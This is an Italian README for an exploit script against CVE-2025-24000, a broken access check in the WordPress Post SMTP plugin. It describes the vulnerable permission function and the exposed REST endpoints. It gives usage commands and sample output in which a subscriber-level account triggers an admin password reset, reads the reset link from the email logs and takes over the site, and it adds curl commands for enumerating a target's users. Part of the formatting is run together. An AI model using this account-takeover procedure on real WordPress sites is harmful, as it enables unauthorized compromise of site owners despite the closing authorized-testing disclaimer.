
Breve script Python per sfruttare CVE-2025–24000 basato su questo post del blog: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
Questo script sfrutta CVE-2025-24000, una vulnerabilità di controllo degli accessi di gravità alta nel plugin Post SMTP per WordPress (versioni ≤ 3.2.0). Consente a qualsiasi utente autenticato con un account a bassi privilegi (es. Subscriber) di accedere ai log email dell'API REST del plugin, rubare un link di reimpostazione della password dell'amministratore e prendere il controllo dell'account amministratore.
La vulnerabilità deriva da un controllo dei permessi difettoso nell'API REST del plugin:
// Codice vulnerabile (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
Qualsiasi utente collegato, indipendentemente dal ruolo, può accedere agli endpoint pensati solo per gli amministratori:
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin//wp-admin come amministratorerequests (pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <tuo_username_subscriber> \
--password <tua_password_subscriber> \
--email <nome_utente_o_email_admin>
| Argomento | Descrizione |
|---|
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...
[+] RESET LINK FOUND:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] Visit the link above to set a new admin password and take over the site.
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. Non utilizzarlo contro sistemi per i quali non hai il permesso esplicito di eseguire test.
--url | URL base del sito WordPress (es. http://target.local/wordpress/) |
--username | Il tuo nome utente WordPress a bassi privilegi |
--password | La tua password WordPress a bassi privilegi |
--email | Nome utente o email dell'admin da reimpostare |